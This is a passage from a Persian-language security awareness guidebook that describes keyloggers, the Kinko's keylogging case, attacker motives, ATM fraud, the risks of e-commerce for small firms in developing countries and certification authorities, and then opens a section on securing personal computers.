ثبت کلیدها – نرم‌افزارهای پنهانی می‌توانند روی رایانهٔ شما نصب شوند که فشرده‌شدن دکمه‌های صفحه‌کلید توسط شما را ثبت کرده و آنها را به رایانه‌ای دیگر ارسال نمایند. این مسئله می‌تواند دسترسی به منابع خارجی نظیر دسترسی به یک *سرویس‌دهندهٔ وب*[52] محافظت‌شده، دسترسی به یک سرویس‌دهندهٔ پست الکترونیکی، نقل و انتقالات مالی، و یا دریافت اطلاعات محرمانه را دچار اشکال کند. در اینحالت سارق می‌تواند *نشانهای تصدیق هویت*[53]، شمارهٔ کارت اعتباری، و رمزهای عبور شما را بدست آورد و در آینده برای منافع شخصی خود مورد استفاده قرار دهد.

منع دسترسی[54] – ممکن است شما از دسترسی به اطلاعات خود محروم شوید، حتی اگر آن اطلاعات پاک نشده باشند. مثلاً امکان دارد اطلاعات شما در قالبهای رمزگذاری‌شده‌ای ظاهر شوند و تنها مهاجم کلید رمزگشایی آنها را در اختیار داشته باشد.

هزینهٔ ترمیم موفقیت‌آمیز از هر یک از این حملات قابل ملاحظه است و بازیابی در برخی موارد ناممکن بنظر می‌آید. اگر شما مدیر یک رسانهٔ تبلیغاتی باشید که به منابع داده‌ای الکترونیکی خود وابستگی شدید دارد، یک حملهٔ مخرب می‌تواند موجب ورشکستگی مؤسسه شما گردد. توجه داشته باشید که کرم Slammer سیستمهایی را آلوده می‌کرد که وصلهٔ ارائه‌شده توسط مایکروسافت روی آنها نصب نشده بود.

یکی از نفوذهای امنیتی که بیش از یکسال فعالیت موفقیت‌آمیز داشت روشهای نوینی را به تصویر کشید که با آنها می‌توان امنیت را در فضای سایبر خدشه‌دار کرد:

" آسوشیتد پرس (نیویورک) – برای بیش از یکسال، جوجو *جیانگ*[55] بدون اطلاعِ افرادی که از *پایانه‌های*[56] اینترنتی در *فروشگاههای کینکو*[57] در نیویورک استفاده می‌کردند، آنچه که آنها تایپ می‌کردند را ثبت می‌کرد. جیانگ بصورت مخفیانه نرم‌افزاری را در حداقل چهارده فروشگاه کینکو نصب کرده بود که می‌توانست فشردن

52 *Web Server*
53 *Authentication Tokens*
54 *Denial of Access*
55 *Juju Jiang*
56 *Terminals*
57 *Kinko's Stores*

کلیدهای افراد را ثبت نماید. این نرم افزار در طول فعالیت یکسالهٔ خود بیش از ۴۵۰ شناسهٔ کاربری و رمز عبور ثبت کرده و از آنها برای دسترسی و حتی بازکردن حسابهای بانکی برخط استفاده می‌نمود.

این پرونده که در اوایل این ماه پس از دستگیری جیانگ منجر به تعیین مجازات برای وی شد خطرهای استفاده از پایانه‌های عمومی اینترنت در کافی‌نت‌ها، کتابخانه‌ها، فرودگاهها و دیگر مؤسسات را آشکار می‌سازد. *نیل مهتا*[58] مهندس پژوهش در مؤسسهٔ *سیستمهای ایمن اینترنتی*[59] هشدار می‌دهد که "هنگام استفاده از هر یک از پایانه‌های عمومی از دانشِ عرفی خود بهره بگیرید. برای بسیاری از ارتباطات روزمره نظیر اتصال به وب ممکن است با مشکلی مواجه نشوید اما برای انجام هر کاری که ممکن است حساسیت ایجاد کند ابتدا کمی فکر کنید". جیانگ زمانی دستگیر شد که مطابق سوابق موجود در دادگاه از یکی از رمزهای عبور مسروقه برای دسترسی به رایانه‌ای مجهز به نرم افزار GoToMyPC استفاده کرده بود. این نرم افزار به افراد امکان می‌دهد که از راه دور و از هر مکانی به رایانهٔ خود دسترسی پیدا کنند. شخصی که برنامهٔ GoToMyPC روی رایانهٔ وی نصب شده بود در زمان وقوع جرم در خانه بود و ناگهان متوجه شد مکان‌نمای رایانهٔ او روی صفحه شروع به حرکت کرد و فایلها خود به خود باز شدند. سپس دید که یک حساب بانکی باز و نام او در یک سرویس خرید اینترنتی درج شد. جیانگ که منتظر صدور حکم دادگاه است، نهایتاً در چهاردهم فوریه ۲۰۰۱ به نصب کردن نرم‌افزار مخفی ثبت‌کنندهٔ کلید در فروشگاههای کینکو اعتراف کرد.[60]

این کتاب راهنمایی دربارهٔ امنیت کاربران هم در محیط خانه و هم در محیط تجاری می‌باشد و لذا حاوی اطلاعات وسیعی دربارهٔ موضوعات امنیتی مانند مخاطرات، نتایج حملات، روشهای حفاظت از رایانه‌ها، شبکه‌ها و داده‌ها، و نیز سیاستهایی است که باید قبل از پیاده‌سازیِ استراتژیِ امنیتیِ مؤثر مورد بررسی قرار گیرند. هدف نهایی این کتاب دور ساختن کاربران از منابع ارائه‌شده در محیطهای دیجیتالی جدید نیست، بلکه قدرت بخشیدن به کاربران برای لذت بردن از این دنیای نوین به روشی ایمن و مطمئن است. در یک کلام می‌توان گفت هدف از انتشار این کتاب توسعهٔ درک واقع‌گرایانه و عمیق از ماهیت مشکلات امنیتی موجود به منظور کاهش آسیب‌پذیریها و افزایش نقاط قوت فناوری اطلاعات و ارتباطات می‌باشد.

انگیزهٔ خرابکاران امنیتی چیست؟

در زندگی واقعی انگیزه‌های زیادی برای انجام تخلفات جنایی علیه یک شخص یا سازمان وجود دارد. یکی از دلایل عمده، انتقامگیری فرد خرابکار از شخصی که فکر می‌کند به او آسیبی رسانده، و یا بدست‌آوردن پول است.

نظیر همین تخلفات نیز در فضای سایبر وجود دارد، اما تخلف در این فضا از جنس دیگری است. فضای سایبر برای گروهی از افراد – که عموماً "خرابکار" نامیده می‌شوند و قادرند وارد حسابهای کاربری افراد شوند و یا بعنوان تفریح و سرگرمی به افراد دیگر آسیب برسانند – یک محیط چالش برانگیز است. بعبارت دیگر، آنها قدرت نفوذ به حسابهای کاربری، پایگاههای داده و تجهیزات شبکه‌ای را یک افتخار برای خود می‌دانند. مشابه این رفتار در دنیای واقعی بسیار نادر است.

خرابکارها معمولاً فعالیتهای خود را "جنایات بدون قربانی" به حساب می‌آورند. استدلال آنها این است که وقتی یک حساب کاربری یا پایگاه داده مورد نفوذ قرار می‌گیرد ولی چیزی تغییر نمی‌یابد و دزدیده نمی‌شود چه آسیبی به کسی وارد شده است؟ در واقع این افراد به تأثیرات حقوقی و پیامدهای اینکار توجه نمی‌کنند و به احساس ناامنی قربانیانشان که ناشی از انجام این فعالیتها می‌شود نیز اهمیتی نمی‌دهند. مشابه این رفتار در دنیای واقعی مثل این است که فردی وارد خانهٔ شما شود و هر زمان که بخواهد نیز بتواند اینکار را تکرار کند. مسلماً این مسئله برای شما غیرقابل تحمل خواهد بود.

متأسفانه اینترنت به ناقضان امنیت کمک زیادی می‌کند. برخی از خرابکارها دارای ابزارهای نفوذ هستند که به نفوذگران تازه‌کار هم امکان بهره‌برداری موفقیت‌آمیز از برخی آسیب‌پذیریها را می‌دهد. چنین ابزارهایی معمولاً به گروههای خبری Usenet که بسیار مشهور هستند فرستاده می‌شوند و افراد مختلف می‌توانند ابزار را از آنجا پیدا کرده و مورد

58 *Neel Mehta*
59 *Internet Security Systems*
60 *Associated Press Bulletin, July 23, 2003*

استفاده قرار دهند. از آنجا که بسیاری از این ابزارها ممکن است بدون خطر باشند، هرگز کسی مطمئن نیست آثار استفاده از هریک از آنها دقیقاً چیست. علاوه بر آن این امکان وجود دارد که با انجام تغییراتی در بعضی از این ابزارِ به‌اصطلاح بی‌خطر بتوان به رایانه‌ها و حسابهای کاربری که از طریق آنها مورد دسترسی قرار گرفته‌اند آسیب وارد کرد. در ادامه، یک نمونه از این موارد ذکر شده است:

> سند CA-203-18 مرکز فوریتهای امنیت رایانه‌ای آخرین حفرهٔ Windows را مستند کرده، و CNet نیز گزارش داده که با بهره‌برداری از این آسیب‌پذیری برای نفوذ به Windows راه برای ظهور برق‌آسا و حملهٔ شدید یک کرم دیگر هموار می‌شود:
>
> پژوهشگران امنیتی هشدار داده‌اند که یک گروه از نفوذگران برنامه‌ای منتشر کرده‌اند که برای سوء استفاده از یک اشکال عمدهٔ Windows طراحی شده و راه را برای انجام یک حملهٔ بزرگ تا اواخر هفتهٔ جاری باز می‌کند. این هشدار روز جمعه اعلام شد؛ بعد از آنکه نفوذگران چینی گروه امنیتی Focus X متن برنامه‌ای را برای چندین مرکز امنیتی دنیا منتشر کردند که با طراحی ماهرانه به رایانه‌های دارای سیستم‌عامل Windows نفوذ می‌کرد.
>
> برنامهٔ گروه Focus X از اشکال موجود در سیستم‌عامل مایکروسافت بهره‌برداری می‌کند و به نفوذگران امکان نفوذ به سیستم از راه دور را می‌دهد. این اشکال توسط چند نفر از متخصصین بعنوان بزرگترین اشکالی که تا کنون در Windows یافت شده معرفی شده است.[۶۱]

حملات روزافزونی که توسط افراد نسبتاً غیرحرفه‌ای انجام می‌شوند نیز ماجرایی طولانی و دنباله‌دار است.

البته تمامی نقض حریمهای امنیتی مختص رایانه‌ها و اینترنت نیستند. دستگاههای خودپرداز نیز تا کنون برای سرقت اطلاعات محرمانه مورد استفاده قرار گرفته‌اند. در یک مورد (در *ایالت کانکتیکات*[۶۲] ایالات متحده) سارقین اقدام به نصب دستگاهی شبیه دستگاه خودپرداز در یک مرکز خرید کردند. هنگامیکه مردم برای گرفتن پول از این ماشین کارت و شمارهٔ رمز خود را وارد می‌کردند، این دستگاه جعلی با ذخیرهٔ رمزهای عبور دسترسیهای غیرمجاز بعدی به این حسابها را بسیار ساده می‌کرد، اما چون اتصالی با مراکز واقعی اعتباری نداشت قادر به تکمیل عملیات مالی نبود. در یک مورد دیگر سارقین از دستگاههای خودپرداز به نحوی استفاده کردند که امکان انتقال پول هم وجود داشته باشد، اما مدتی بعد و با استفاده از اطلاعات ثبت‌شده اقدام به سرقت می‌نمودند.

اگرچه بیشتر جرائمِ قابلِ مشاهده در دنیای سایبر توسط افراد انجام می‌شود، ولی سازمانها و مؤسسات نیز قادر به سوء استفاده از خصوصیات این فضا برای رسیدن به اهداف سازمانی خود هستند. جرائم سازماندهی‌شده ممکن است دستکاری در شبکهٔ اینترنت برای رسیدن به نتایج مطلوب آنها باشد، اما می‌تواند باعث ارتکاب جرم علیه دیگران نیز بشود. ممکن است برخی سازمانها علاقه داشته باشند که نتیجهٔ یک نظرسنجی یا حتی انتخابات را دستکاری کنند تا به نتایج مطلوب خود برسند. برخی از مؤسسات درحال حاضر روی این مسئله سرمایه‌گذاری زیادی انجام داده‌اند و ممکن است بتوانند تا مدتها آنرا همچنان با قوت ادامه دهند.

واضح است که منافع بالقوهٔ موجود در عصر نوین دیجیتال بیشمار هستند. بسیار حائز اهمیت است که با ایمن‌سازی محیط فیزیکی، زیرساختها، رایانه‌ها، خطوط ارتباطی و منابع اطلاعاتیِ خود از این منافع حفاظت کنیم. اولین گام در انجام این مهم رسیدن به سطح شناخت کافی و صحیح از فناوری است که می‌تواند در اتخاذ تصمیمات عاقلانه دربارهٔ چگونگیِ رسیدن به سطح مطلوبی از امنیت به ما کمک کند. بسیاری از ما در این زمینه چندین نقش را بر عهده داریم: ممکن است بعنوان یک کاربر عادی از این منابع استفاده کنیم، در قبال سیستمهای دیجیتال و خدمات موجود در یک سازمان مسئولیت داشته باشیم، و یا به همکاری با دولت در اجرای سیاستهای حمایتی از امنیت علاقه‌مند باشیم.

همهٔ ما در هریک از این نقشها در قبال تحقق سطح مطلوبی از امنیت مسئول هستیم. متأسفانه امنیت در یک محیط پیچیده معمولاً به اندازهٔ امنیت ضعیفترین جزءِ آن محیط استحکام دارد؛ از اینرو باید مطمئن شویم که اجزای محیطی که روی آن کنترل داریم آنقدر قوی هستند که ضعیفترینِ

61 CNet News.com ,July 25,2003
62 Connecticut State

آنها هم از توانایی دفاع در برابر تهدیدات موجود برخوردار است.

اهمیت امنیت برای سازمانهای کوچک و متوسط در کشورهای درحال توسعه

با اینکه امنیت برای همه حائز اهمیت است، اما برای سازمانهای کوچک و متوسط کشورهای درحال توسعه اهمیت ویژه‌ای دارد. نتایج حاصل از ورود به بازار جهانی با کمک فناوری اطلاعات و ارتباطات بسیار مطلوب است، ولی مخاطرات انجام اینکار بصورت ناامن نیز بسیار اساسی است.

در بسیاری از اصناف تجاری، عملیات دستی به مدیریت با استفاده از رایانه‌ها تغییر یافته است. از رایانه‌های مستقل می‌توان در بسیاری از عرصه‌های اقتصادی کشورهای توسعه‌یافته برای مدت‌زمانی مشخص استفاده کرد. با معرفی منابع رایانه‌ای جدید، مدیران به سمت و سوی کسب دانش و اطلاعات دربارهٔ موضوعات کاربردی چون *پشتیبان‌گیری*[۶۳]، نگهداری شبکه، به‌روزرسانی نرم‌افزارها و *ممیزی* (بازبینی)[۶۴] رایانه‌ای در حرکت هستند. کسب موفقیت در همگیِ موارد فوق مستلزم آشنایی با رایانه، شبکه، و مفاهیم امنیت اطلاعات است.

با معرفی ارتباطات شبکه‌ای و امکان ورود به عرصهٔ تجارت الکترونیکی، فرآیندهای سیستم و فرآیندهای مدیریت باید از دو دیدگاه متفاوت نظاره شوند. سیستمهای مستقل عموماً محصول‌محور یا فرآیندمحور هستند (مثل انبارداری، سفارشات یا فرآیندهایی نظیر تولید، ثبت در دفاتر عمومی، و حسابهای پرداختنی و دریافتنی)، اما سیستمهای موفق تجارت الکترونیکی برخط به روش دیگری سازماندهی می‌شوند. در این سیستمها برای کسب موفقیت لازم است که طراحی مشتری‌مدار باشد و سیستم به تعقیب رفتار مشتری در فرآیندهای جستجو و ارزیابی محصولات، ارائه سفارش، تکمیل تراکنشهای مالی و ردگیری محصول ارسال‌شده بپردازد. در این سیستمها نگرانی در مورد محصولات و فرآیندها همچنان مهم است، اما در مقابلِ نیاز به تعقیب رفتار مشتری در پایگاه وب و انجام هر معامله‌ای که مشتری آنرا درخواست می‌کند در اولویت بعدی قرار می‌گیرد. این طراحی مجدد برای دستیابی به موفقیت ضروری است، اما به یک راهکار جایگزین برای مدیریت درخواستهای خرید مشتری نیاز دارد؛ روشی که اگر بدون توجه کافی پیاده‌سازی شود ممکن است راه را برای روشهای جدید نفوذهای امنیتی باز بگذارد.

سازمانهای کوچک و متوسط باید آگاه باشند که اصلاح نگرش سیستمهای تجاری برای بکارگیری اینترنت، مخاطرات جدیدی برای آنها به همراه دارد. یکی از این خطرات از همه جدیدتر است: احتمال به سرقت رفتن و در معرض فروش قرار گرفتن سرمایه‌های موجود در شرکت. در عصری که کالاها و خدمات فروخته‌شده را محصولات اطلاعاتی تشکیل می‌دهند، احتمال توزیع و تهیهٔ غیرقانونی آنها بصورت رایگان و یا در بازار سیاه وجود دارد که در اینحالت منافع اینکار به سارقان می‌رسد، و نه به شرکتی که اطلاعات را تولید کرده است.

بارزترین نمونهٔ نسخه‌برداری غیرقانونی که امروزه می‌توان مشاهده کرد در صنعت موسیقی رواج دارد که به توزیع محصولات مسروقه و غالباً هم در قالب دیسک فشرده منجر شده است. درحال حاضر حفاظت از سرمایه‌های دیجیتالی مسئله‌ای حل‌نشده می‌باشد، هرچند برای حل آن اقدامات زیادی صورت گرفته است. دیرزمانی است که از محصولات اطلاعاتی دیجیتالی نسخه‌برداریهای نسبتاً کاملی انجام می‌شود، چراکه نسخه‌برداری از آنها آسان بوده و حین فروش لزومی ندارد که به دنبال نسخه اصلی آن بود. فناوری مورد استفاده در صنعت موسیقی را می‌توان در شرایط و محیطهای دیگر نیز مورد استفاده قرار داد، به این معنی که فوت و فنهای تجاری یا دیگر اطلاعات محرمانه را نیز می‌توان با روشهایی تهیه و منتشر نمود که موجب تخریب شدید آن تجارت و صنعت گردد. سرمایه‌های با ارزش نیاز به حفاظت کافی و مناسب دارند. البته این سطح از امنیت می‌تواند برقرار شود، اما مخاطرات و روشهای کار برای شرکتی که در قالب تجارت الکترونیکی کار می‌کند با مخاطرات و روشهای کار در شرکتی که بصورت سنتی به تجارت می‌پردازد متفاوت است.

بسوی مفهوم نوینی از قابلیت اطمینان

محیط دیجیتالی جدید از ما می‌خواهد که در تعریف خود از قابلیت اطمینان بازنگری کنیم. در دنیای واقعی از معیارهای گسترده‌ای برای تصمیمگیری دربارهٔ میزان اطمینان به یک

63 *Backup*
64 *Audit*

شخص، یک فرآیند، یا یک سازمان استفاده می‌کنیم؛ مثلاً از تطابق مشاهدات فعلی با تجربیات و دانسته‌های قبلی‌مان استفاده می‌نماییم. حین تبادل اطلاعات در فضای سایبر بیشترِ شاخصهای غیر شفاهی ارتباطات از دست می‌روند. هنگامیکه یک نامهٔ الکترونیکی دریافت می‌کنیم یا صفحهٔ وبی را می‌خوانیم، نمی‌توانیم همیشه بگوئیم که اگر اطلاعات دقیق بود و اگر آنها را بررسی می‌کردیم مشخص می‌شد که صحیح نیستند. همچنین نمی‌دانیم که خطاهای واقع‌شده نتیجه سهل‌انگاری هستند یا تلاشهایی تعمدی برای فریب دادن ما. در غیاب اطلاعات حتی دیگر نمی‌دانیم که آیا نویسندهٔ یک پیام همان شخصی است که خودش ادعای آنرا دارد یا خیر.

مسلم است که فریبکاری در جهان واقعی نیز رخ می دهد، ولی معمولاً تعیین حقیقت در شرایطی که افراد بصورت فیزیکی و مکانها بصورت واقعی وجود دارند ساده‌تر است.

خوشبختانه از طریق *مراکز صدور گواهی*[۶۵] به این بعد از امنیت دنیای سایبر کمک زیادی شده است. این مراکز برای شناسایی افراد و سازمانها به طور رسمی گواهی صادر می‌کنند. این مفهوم در دنیای واقعی نیز وجود دارد: اگر گذرنامهٔ ملی داشته باشید یعنی دولت یک کشور هویت شما را تأیید کرده و لذا گذرنامه نشانه‌ای خواهد بود که می‌توانید برای تصدیق هویت خود از آن استفاده کنید. بطور مشابه اگر گواهینامهٔ وسیلهٔ نقلیهٔ موتوری داشته باشید به این معنی است که یک سازمان ملی یا ناحیه‌ایِ دولت برای شما مجوزی صادر کرده که هم هویت شما را تأیید می‌کند و هم جواز رانندگی با یک وسیلهٔ نقلیه را به شما می‌دهد. شرکتهایی که خدمات کارت اعتباری می‌دهند نیز از طریق صدور کارتهای اعتباری شما را تأیید می‌نمایند. کارفرما یا آموزشگاه شما هم ممکن است از طریق یک کارت شناسایی شما را تأیید کند و آن کارت ممکن است دسترسی شما را به سرویسهای خاصی که مخصوص کارمندان یا دانشجویان یک حوزهٔ خاص هستند برقرار نماید.

واضح است که تعداد مراکز صدور گواهی در دنیای واقعی اندک هستند. بطور کلی هریک از این مراکز از تأیید شما هدف خاصی را درنظر می‌گیرند. جامعیت تأیید هویت از یک مرکز تا مرکز دیگر متفاوت است؛ برخی از آنها ممکن است به اثبات کامل هویت شما نیاز داشته باشند، درحالیکه سایرین ممکن است آنچه که بیان می‌کنید را بپذیرند.

مراکز صدور گواهی در دنیای سایبر این مشخصات را به اشتراک می‌گذارند. سطوح متعدد تأیید هویت برای درجات مختلف اطمینان ایجاد می‌شود و هریک از این گواهیها تنها در سطح خود معتبر می‌باشند. لذاست که هرچند ممکن است بنظر برسد که وجود یک مرکز صدور گواهی برای دستیابی به تمامی اهداف مورد نظر کافی است؛ اما چندین مرکز صدور گواهی در دنیای مجازی وجود دارد. علاوه بر این با استفاده از *گواهی الکترونیکی*[۶۶]، این گواهیها می‌توانند بصورت الکترونیکی امضا شوند و این اطمینان را ایجاد کنند که گواهی منتقل شده صحیح و حقیقی است. این سیستمهای صدور گواهی از روشهای تجربی و شهودی که در دنیای واقعی مورد استفاده قرار می‌گیرند مستحکم‌تر هستند. در دنیای دیجیتالی برای برقراری اعتماد لازم جهت پشتیبانی از انجام تراکنشهای تجاری و نقل و انتقالات مالی در شبکه‌های الکترونیکی، لازم است که روشهای مستحکم‌تر مورد استفاده قرار گیرند.

دولتها در ایجاد اطمینان از وجود مکانیزمهای مناسب برای کارایی و مورد استفاده قرار گرفتن مدلهای جدید اعتماد نقش مهمی دارند. انجام تراکنشهای سازمانهای کوچک و متوسط بصورت الکترونیکی بسته به وجود این اعتماد است. در بعضی کشورها دولتها بر این باورند که سازمانهای دولتی باید بعنوان مراکز صدور گواهی عمل کنند و در سایر کشورها دولتها معتقدند که وظیفهٔ مراکز صدور گواهی باید به بخش خصوصی واگذار شود. مستقل از جزئیات پیاده‌سازی، هدف از تأسیس این مراکز واضح است. سیاست دولت می‌تواند مکانیزمهای ایجاد اطمینان را تسهیل کند تا افراد، سازمانها و کاربران منفرد آن قادر باشند در تجارت الکترونیکیِ کشورهای دیگر هم مشارکت نمایند.

65 *Certification Authorities*

66 *Electronic Certification*

جمع‌بندی

فناوری دیجیتالی ابزارهای جدید و مهیجی را فراهم می‌کند که هریک می‌توانند نقش بسزایی در آموزش، بهداشت، رفاه، تجارت و سایر بخشهای جامعهٔ مدنی داشته باشند.

تمام افراد و کشورها از فناوری اطلاعات بهره می‌جویند، اما این فناوری برای کشورهای درحال توسعه جاذبهٔ خاصی دارد و می‌تواند جا افتادن آنها در جامعهٔ اقتصادِ جهانی را تسریع کند. این فناوری هنوز در آغاز راه خود است ولی بسرعت درحال پیشرفت می‌باشد. متأسفانه همانند سایر پیشرفتهای فناوری، اینترنت نیز می‌تواند هم برای اهداف مشروع و هم برای اهداف نامشروع مورد استفاده قرار گیرد. همانطور که مشاهده کردیم در دنیای سایبر مجرمان و خرابکارانی وجود دارند که از اینترنت برای حمله به کاربران منفرد و سازمانی استفاده می‌کنند.

مفهوم "ایمنی سایبر" یک مفهوم مهم است. مثالهای این فصل، میزان وقایع گزارش‌شده به CERT، و رخدادهای جدیدی که روزانه در مطبوعات گزارش می‌شوند همگی نشان می‌دهند که چرا آگاهی از موضوعات امنیتی حائز اهمیت است و چرا باید گامهایی برای تضمین پشتیبانی از رایانه‌های شخصی، داده‌ها و تجارت برداشت.

این کتاب حاوی مجموعه‌ای از الگوهای سرآمدی در زمینهٔ امنیت است که در اجرای سیاستها و روشهایی که به موقعیت خاص شما مربوط هستند کمک می‌کنند. علاوه بر آن مراجع چاپی و الکترونیکی فراوانی که در بر دارنده ابعاد خاص امنیت فناوری اطلاعات هستند و همچنین سازمانهایی که به شکل تخصصی بر روی موضوعات امنیت فناوری اطلاعات تمرکز دارند را معرفی می‌کند. تمامی این منابع برای افراد و سازمانهایی که در پی گسترش آگاهی خود از امنیت در جهان شبکه‌ای می‌باشند مفید خواهند بود.

این شرایط در کشورهای درحال توسعه از اهمیت خاصی برخوردار است. سرمایه‌گذاری مستقیم خارجی و اعتماد و قابلیت اطمینان در این کشورها بستگی به سطح امنیت و پیاده‌سازی موفقیت‌آمیز فناوری و زیرساختهای آن دارد. دولتها، سازمانها و کاربران منفرد همگی نقش بسزایی در تأمین امنیت سرمایه‌های اطلاعاتی و الکترونیکی کشورها ایفا می‌کنند. شناخت تهدیدات بسیار سودمند است؛ و عملکرد مناسب بر اساس چنین شناختی می‌تواند یک محیط قابل اطمینان ایجاد کند و باعث شود ساکنان کرهٔ زمین تا سرحد امکان فواید عصر نوین دیجیتال را حس کنند.

امنیت فناوری اطلاعات و کاربران منفرد

بخش دوم

فصل اول

مقدمه

تأکید بخش دوم بیشتر بر تأمین امنیت کاربران منفرد رایانه است – از مبتدیان گرفته تا کارشناسان؛ و اولین مسئله‌ای که در این زمینه باید شرح داده شود چگونگی حفاظت از رایانه‌های شخصی است.

می‌توان از رایانه بصورت ایمن استفاده کرد؛ ولی اینکار به اطلاعات، زیرکی و مراقبت شدید نیاز دارد. زبان بکار رفته در این بحث بعضاً حاوی مفاهیم نامأنوسی می‌باشد. بعضی از اصطلاحات و تعاریف در ضمیمهٔ انتهای این بخش آمده‌اند و بعضی از آنها نیز در پیوست ۱ کتاب بطور کامل طرح شده‌اند.

اولین گام در ارائه یک استراتژی صحیح امنیتی این است که مفهوم "کاربرد صحیح" رایانه‌های شخصی و "حفاظت" از آنها مشخص شود. اگر شما نیز بدنبال همین مسئله هستید، اطمینان حاصل کنید که:

- داده‌ها و برنامه‌هایتان تنها درصورتی تغییر می‌کنند یا پاک می‌شوند که شما چنین خواسته‌ای داشته باشید؛
- برنامه‌های رایانه بگونه‌ای که طراح یا برنامه‌نویس آنرا تعیین کرده عمل می‌کنند (مگر عیب و نقصهای نرم‌افزاری، که وجود آنها در برنامه‌ها ناخواسته است)؛
- هیچکس نمی‌تواند بدون اجازهٔ شما از داده‌ها، رایانه و شبکهٔ شما استفاده کند؛
- رایانه بطور ناخواسته فایلهای آلوده به ویروس را منتشر نمی‌کند؛
- کسی قادر به مشاهدهٔ تغییراتی که در رایانه ایجاد می‌کنید نیست؛
- کسی توانایی دستیابی به داده‌های شما، چه در شبکه‌های بی‌سیم و چه در شبکه‌های سیمی را ندارد؛
- روی سیستمها و یا پایگاههای وبی که به آنها دسترسی دارید کسی قادر به سرقت *نام کاربری*[1] و *رمز عبور*[2] نیست؛
- چنانچه شمارهٔ کارت اعتباری و یا اطلاعات مربوط به حساب بانکی خود را از طریق شبکهٔ اینترنت وارد کنید، داده‌های مربوطه از امنیت کامل برخوردار خواهند بود (مسلماً شما بر آنچه که در سوی دیگر شبکهٔ ارتباطی رخ می‌دهد کنترلی نخواهید داشت)؛
- و ...

چنانچه نکات امنیتی در رایانه‌های شخصی نادیده گرفته شوند پیامدهای گوناگونی به بار می‌آید: ممکن است این پیامدها منجر به آزار شخص گردند ولی هزینه‌ای در بر نداشته باشند، و یا اینکه هزینهٔ گزافی تحمیل کنند و وقت بسیار زیادی را به خود اختصاص دهند. در مواردی که حفاظت از رایانه بعنوان حرفهٔ شخص قلمداد می‌شود ممکن است مشکل بوجود آمده باعث به خطر افتادن موقعیت شغلی وی گردد. در تمامی موارد شخص باید به ارزیابی احتمال خطر بپردازد و طرح امنیتی لازم را بکار گرفته و آنرا اجرا نماید. با توجه به جزئیاتی که در رابطه با امنیت فناوری اطلاعات ارائه شده است این امکان بوجود می‌آید که بتوان تمامی جوانب امنیتی رایانه‌های شخصی را کنترل نمود.

چنانچه راهنماییهای ارائه‌شده در این کتاب نیز بکار گرفته شوند می‌توان احتمال خطر را تا حد قابل قبولی کاهش داده و از جهان درحال تغییر فناوری اطلاعات استفادهٔ بهینه نمود.

طبیعتاً ارائه تمامی نکات امنیتی رایانه‌های شخصی صدها صفحه مطلب را به خود اختصاص می‌دهد، اما مخاطبین غالباً تمایل چندانی به مطالعه مطالب انبوه ندارند. در این نوشته خلاصه‌ای از اطلاعات لازم برای کاربران جهت درک و پیاده‌سازی نکات امنیتی رایانه‌های شخصی ارائه شده است. مراجع ذکرشده در بخش ضمایم شامل منابع الکترونیکی، سازمانهای مرتبط، و مستندات چاپی نیز می‌توانند کمکهای مفیدی باشند و کاربر را به مطالعهٔ بیشتر نکات امنیتی فناوری اطلاعات تشویق نمایند.

---

1 *Username*
2 *Password*

فصل دوم
درک مفاهیم امنیتی

کلیات

این فصل به تبیین ضرورت برقراری امنیت و حفاظت از شبکه و رایانه اختصاص دارد. در این فصل به پیامدهای نفوذ امنیتی، اقدامات اولیه جهت مقابله با آن، و نیز چند تعریف فنی از مباحث امنیتی پرداخته می‌شود. تعاریف کاملتر در ضمیمه ۱ همین فصل و نیز پیوست ۱ کتاب ذکر شده‌اند.

چرا تمهیدات امنیتی ضرورت دارند؟

در اولین روزهای استفاده از رایانه‌ها در سیستمهای به‌اشتراک گذاشته‌شده تنها از نام کاربری برای شناسایی افراد استفاده می‌شد و نیازی به وارد کردن رمز عبور نبود. بعد از آنکه کاربران بدخواه آغاز به سوء استفاده از این سیستم کردند رمزهای عبور نیز به آن سیستمها اضافه شدند. امروزه راهبران بیش از هر زمان دیگر باید به امنیت شبکه و رایانه‌ها بیاندیشند. مهمترین دلایل این مسئله عبارتند از:

- *ارزش سرمایه‌گذاری روی تجهیزات سخت‌افزاری و برنامه‌های نرم‌افزاری* – نکتهٔ قابل توجه این است که رایانه‌ها و بسته‌های نرم‌افزاری بسیار گرانقیمت هستند و جایگزینی آنها پرهزینه و دشوار است. حتی اگر در یک رخداد امنیتی نرم‌افزارها و سخت‌افزارها کاملاً از بین نروند ممکن است مشکلات امنیتی ما را وادار به نصب مجدد همهٔ نرم‌افزارها کنند و متعاقباً لازم شود کلیهٔ نیازهای اساسی مجدداً تعریف گردند. این امر مستلزم صرف زمان بسیار زیادی است؛ خصوصاً اگر فرد مسئول، اطلاعات فنی کافی در این زمینه نداشته باشد.
- *ارزش داده‌های سازمانی* – این داده‌ها ممکن است شامل لیست مشتری‌ها، پروژه‌های مالی و یا برنامه‌های تجاری باشند که توسط کاربر نوشته شده‌اند.
- *ارزش داده‌های فردی* – ممکن است داده‌های فردی ارزش مادی چندانی نداشته باشند ولی از دست دادن آنها بسیار زیان‌آور باشد و برای ایجاد دوبارهٔ اطلاعات زمان بسیار زیادی لازم باشد (تعاریف مربوط به *سرقت هویت*[3] را مورد ملاحظه قرار دهید).
- *تهدیدات جنایتکاران رایانه‌ای* – همگام با پیشرفتهای فناوری، گروهی از خرابکاران که از دزدی داده‌های رایانه‌ای سود می‌برند نیز بوجود آمده‌اند. در مواردی اینکار صرفاً برای لذت و سرگرمی صورت می‌گیرد و برخی افراد نیز تنها بخاطر خودنمایی در برابر دوستان خود دست به چنین کارهایی می‌زنند؛ اما در بعضی موارد اینکار برای دستیابی به منافع شخصی و سازمانی انجام می‌گیرد (دزدی اطلاعات کارت اعتباری یا ورود به معاملات فریبکارانه). در تمامی موارد مذکور این اشخاص باعث ایجاد خسارت و گسترش بی‌اعتمادی می‌شوند و در حد گسترده‌تر مشکلات بحرانی بوجود می‌آورند که به اشخاص و موقعیتهای شغلی صدمه وارد می‌کند. باید گفت از زمانی که اینترنت در مقیاس جهانی در اختیار کاربران قرار گرفته، تعقیب و متوقف کردن مهاجمین هرچند همچنان امکانپذیر می‌باشد ولی بسیار پیچیده شده است.

چرا معمولاً در بعد امنیت ضعف وجود دارد؟

برنامه‌های نرم‌افزاری غالباً بدون درنظر گرفتن مسائل امنیتی تولید می‌شوند. این مسئله چند دلیل دارد:

- *سهل‌انگاری* – برنامه‌نویسان و طراحان از اهمیت نکات امنیتی اطلاعی ندارند.
